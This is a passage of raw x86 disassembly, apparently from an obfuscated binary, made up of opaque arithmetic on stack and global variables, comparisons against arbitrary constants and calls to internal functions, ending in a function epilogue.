mov edx, dword [ebp - 0x4fa0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [eax]
push ecx
movzx edx, byte [ebp - 0x17b]
push edx
mov eax, dword [ebp - 0x4ff0]
push eax
mov ecx, dword [ebp - 0x5024]
mov dl, byte [ecx]
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [eax]
call fcn.00581810
nop
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0x501c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x4fc0]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [0x5a9b64], edx
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [eax]
mov dword [ebp - 0x17d4c], ecx
cmp dword [ebp - 0x17d4c], 0x1ea6cc3a
je 0x580af9
cmp dword [ebp - 0x17d4c], 0x5245fa99
je 0x580ab0
jmp 0x580b5a
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [edx]
and eax, dword [ebp - 0x4f7c]
mov ecx, dword [ebp - 0x4fe4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x5098]
mov dword [ebp - 0x5074], eax
mov ecx, dword [ebp - 0x5094]
push ecx
mov edx, dword [ebp - 0x508c]
mov dl, byte [edx]
mov eax, dword [ebp - 0x4fdc]
mov cl, byte [eax]
call fcn.00581890
nop
jmp 0x580b5a
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x4fd4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x50a0]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x12fc], ax
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x50a4]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x4f60]
push eax
mov dl, byte [ebp - 0x17b]
mov ecx, dword [ebp - 0x5094]
call fcn.00581810
nop
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [ebp - 0x4f7c]
sub edx, dword [ecx]
mov dword [ebp - 0x5098], edx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [ebp - 0x4fb4]
sub ecx, dword [eax]
mov edx, dword [0x5a9b68]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1304]
sub ecx, edx
mov word [ebp - 0x1300], cx
mov al, byte [ebp - 0x17f]
mov byte [ebp - 0x17d50], al
cmp byte [ebp - 0x17d50], 0x3c
je 0x580bb4
jmp 0x580bcd
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1304]
sub edx, eax
mov word [ebp - 0x1308], dx
mov ecx, dword [ebp - 0x4fdc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x17d]
add edx, eax
mov ecx, dword [ebp - 0x5024]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
mov dword [ebp - 0x17d54], eax
cmp dword [ebp - 0x17d54], 0x12f12cf2
je 0x580c0f
cmp dword [ebp - 0x17d54], 0x1c11f4e9
je 0x580c3b
jmp 0x580c51
mov ecx, dword [ebp - 0x4fcc]
mov edx, dword [ebp - 0x4f60]
and edx, dword [ecx]
mov dword [ebp - 0x4ff0], edx
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4f60]
mov edx, dword [ebp - 0x4fcc]
mov dword [edx], ecx
jmp 0x580c51
movzx eax, byte [ebp - 0x17f]
movzx ecx, byte [ebp - 0x17d]
sub eax, ecx
mov byte [ebp - 0x17b], al
jmp 0x580ccc
mov dl, byte [ebp - 0x140]
mov byte [ebp - 0x17d58], dl
cmp byte [ebp - 0x17d58], 0x79
je 0x580c6a
jmp 0x580c6c
jmp 0x580c9e
movzx eax, word [ebp - 0x12fc]
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x1308], ax
movsx eax, word [ebp - 0x12f8]
movsx ecx, word [ebp - 0x120c]
and eax, ecx
mov edx, dword [ebp - 0x5010]
mov word [edx], ax
mov eax, dword [ebp - 0x501c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4f60]
mov dword [ebp - 0x4ff0], ecx
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x140]
add eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
mov eax, dword [ebp - 0x4fe8]
sub eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fe4]
mov ecx, dword [ecx]
add ecx, dword [edx]
cmp eax, ecx
jge 0x580d00
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x4f7c]
sub eax, dword [edx]
mov dword [ebp - 0x4fb4], eax
mov ecx, dword [ebp - 0x4fb4]
add ecx, dword [0x5a9b64]
mov edx, dword [ebp - 0x4fc0]
mov dword [edx], ecx
call fcn.005816b0
nop
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x4fe8], edx
mov eax, dword [ebp - 0x4fe8]
mov dword [ebp - 0x17d5c], eax
cmp dword [ebp - 0x17d5c], 0x4e67fab8
je 0x580d4a
jmp 0x580d79
mov ecx, dword [ebp - 0x4fe8]
add ecx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fb4], ecx
mov edx, dword [ebp - 0x5010]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x120c]
sub eax, ecx
mov edx, dword [ebp - 0x5010]
mov word [edx], ax
jmp 0x580d91
movsx eax, byte [0x5a8004]
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x17e], al
mov eax, dword [ebp - 0x5010]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x1208]
sar edx, cl
mov eax, dword [ebp - 0x5010]
mov word [eax], dx
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x17c]
sub edx, eax
mov byte [0x5a8004], dl
mov ecx, dword [ebp - 0x5010]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x120c]
and edx, eax
mov ecx, dword [ebp - 0x5010]
mov word [ecx], dx
movzx edx, byte [ebp - 0x17f]
mov eax, dword [ebp - 0x4fdc]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x17d], dl
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4f60]
add eax, dword [edx]
mov ecx, dword [ebp - 0x4fb0]
mov dword [ecx], eax
movzx edx, word [ebp - 0x12f4]
movzx eax, word [ebp - 0x1308]
and edx, eax
mov word [ebp - 0x12fc], dx
movsx ecx, word [ebp - 0x12f8]
sub ecx, 0x774
movsx edx, word [ebp - 0x1208]
cmp ecx, edx
jl 0x580f21
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [eax]
mov dword [ebp - 0x17d60], ecx
cmp dword [ebp - 0x17d60], 0x1ae5c86d
je 0x580e5f
jmp 0x580f09
movzx edx, byte [ebp - 0x17b]
movzx eax, byte [ebp - 0x17f]
sub edx, eax
mov ecx, dword [ebp - 0x4fdc]
mov byte [ecx], dl
movsx edx, word [ebp - 0x1208]
mov dword [ebp - 0x17d64], edx
cmp dword [ebp - 0x17d64], 0xff8
je 0x580e92
jmp 0x580f01
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x4f60]
add ecx, dword [eax]
mov dword [ebp - 0x4ff0], ecx
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4fd4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4fb4]
mov dword [ebp - 0x4f7c], ecx
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4ff0]
mov ecx, dword [ebp - 0x4fa0]
mov dword [ecx], eax
movzx edx, word [ebp - 0x1308]
movzx eax, word [ebp - 0x1304]
add edx, eax
mov word [ebp - 0x1300], dx
jmp 0x580f07
call fcn.005816b0
nop
jmp 0x580f21
movzx ecx, byte [ebp - 0x17b]
movzx edx, byte [ebp - 0x17d]
and ecx, edx
mov eax, dword [ebp - 0x4fdc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x4fdc]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x17b]
sar edx, cl
mov eax, dword [ebp - 0x4fdc]
mov byte [eax], dl
movsx eax, byte [ebp - 0x17e]
mov ecx, dword [0x5a9b60]
movsx ecx, byte [ecx]
cdq
idiv ecx
movsx edx, byte [ebp - 0x140]
movsx ecx, byte [ebp - 0x17a]
or edx, ecx
cmp eax, edx
je 0x58102b
mov edx, dword [0x5a9b60]
mov al, byte [edx]
mov byte [ebp - 0x17d68], al
cmp byte [ebp - 0x17d68], 0x1e
je 0x581012
cmp byte [ebp - 0x17d68], 0x65
je 0x580f8f
jmp 0x581029
movzx ecx, word [ebp - 0x1300]
movzx edx, word [ebp - 0x12fc]
add ecx, edx
mov word [ebp - 0x1304], cx
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [ebp - 0x4f60]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4fcc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x4fe8], edx
movsx eax, word [ebp - 0x12f8]
sub eax, 0x324f
mov word [ebp - 0x1208], ax
mov ecx, dword [0x5a9b64]
sub ecx, dword [ebp - 0x4fe8]
mov edx, dword [ebp - 0x4fd4]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x17a]
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
and eax, edx
mov byte [0x5a8004], al
jmp 0x581029
movzx eax, word [ebp - 0x1304]
movzx ecx, word [ebp - 0x12fc]
sub eax, ecx
mov word [ebp - 0x1300], ax
jmp 0x581041
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ebp - 0x4f60]
add eax, dword [edx]
mov ecx, dword [ebp - 0x4fcc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [edx]
push eax
mov dl, byte [ebp - 0x17b]
mov cl, byte [ebp - 0x17b]
call fcn.00581890
nop
mov ecx, dword [ebp - 0x4f7c]
sar ecx, 0x1c
mov dword [ebp - 0x4fb4], ecx
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [edx]
mov dword [ebp - 0x17d6c], eax
cmp dword [ebp - 0x17d6c], 0x8ef0687d
je 0x581087
jmp 0x58109e
movzx ecx, word [ebp - 0x1304]
movzx edx, word [ebp - 0x1300]
or ecx, edx
mov word [ebp - 0x12f4], cx
mov eax, dword [0x5a9b60]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x140]
shl edx, cl
mov eax, dword [0x5a9b60]
mov byte [eax], dl
movzx ecx, word [ebp - 0x1304]
push ecx
movzx edx, word [ebp - 0x1304]
push edx
movzx eax, word [ebp - 0x1300]
push eax
movzx ecx, word [ebp - 0x1300]
push ecx
movzx edx, word [ebp - 0x1300]
push edx
call fcn.00581c00
nop
jmp 0x581147
movzx eax, byte [ebp - 0x17b]
and eax, 0xf1
mov byte [ebp - 0x17b], al
mov ecx, dword [0x5a9b60]
mov dl, byte [ecx]
mov byte [ebp - 0x17d70], dl
cmp byte [ebp - 0x17d70], 0x41
je 0x581111
jmp 0x581127
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4f60]
mov edx, dword [ebp - 0x4fa0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [eax]
push ecx
movzx edx, word [ebp - 0x1304]
push edx
mov eax, dword [ebp - 0x4f7c]
push eax
call fcn.00581290
add esp, 0xc
mov cl, byte [ebp - 0x140]
mov byte [ebp - 0x17d74], cl
cmp byte [ebp - 0x17d74], 0x37
je 0x58115e
jmp 0x581164
call fcn.005816b0
nop
mov edx, dword [ebp - 0x4f60]
add edx, 0xd4cb7f71
mov eax, dword [ebp - 0x4fa0]
mov dword [eax], edx
movzx ecx, word [ebp - 0x12fc]
movzx edx, word [ebp - 0x1300]
add ecx, edx
mov word [ebp - 0x12f4], cx
mov eax, dword [ebp - 0x4f60]
and eax, 0xe522e9a2
mov ecx, dword [ebp - 0x4fa0]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x17b]
add edx, 0xb
mov byte [ebp - 0x17b], dl
movzx eax, word [ebp - 0x1304]
push eax
movzx ecx, word [ebp - 0x12fc]
push ecx
movzx edx, word [ebp - 0x12f4]
push edx
movzx eax, word [ebp - 0x12fc]
push eax
movzx ecx, word [ebp - 0x1300]
push ecx
call fcn.00581c00
nop
movsx edx, byte [ebp - 0x140]
movsx eax, byte [ebp - 0x17a]
and edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
mov dl, byte [ebp - 0x140]
mov byte [ebp - 0x17d78], dl
cmp byte [ebp - 0x17d78], 0xe
je 0x581211
jmp 0x581224
movsx eax, word [ebp - 0x12f8]
xor eax, 0x53b3
mov word [ebp - 0x12f8], ax
movsx ecx, word [ebp - 0x12f8]
add ecx, 0xd7f
mov word [ebp - 0x12f8], cx
movsx edx, byte [0x5a8004]
sub edx, 0x61
mov byte [ebp - 0x140], dl
movzx eax, word [ebp - 0x12f4]
sub eax, 0xefb
mov word [ebp - 0x12f4], ax
movzx ecx, word [ebp - 0x12f4]
add ecx, 0x6e2
mov word [ebp - 0x12f4], cx
movsx edx, byte [ebp - 0x140]
or edx, 0x79
mov byte [0x5a8004], dl
mov eax, dword [ebp - 0xc110]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10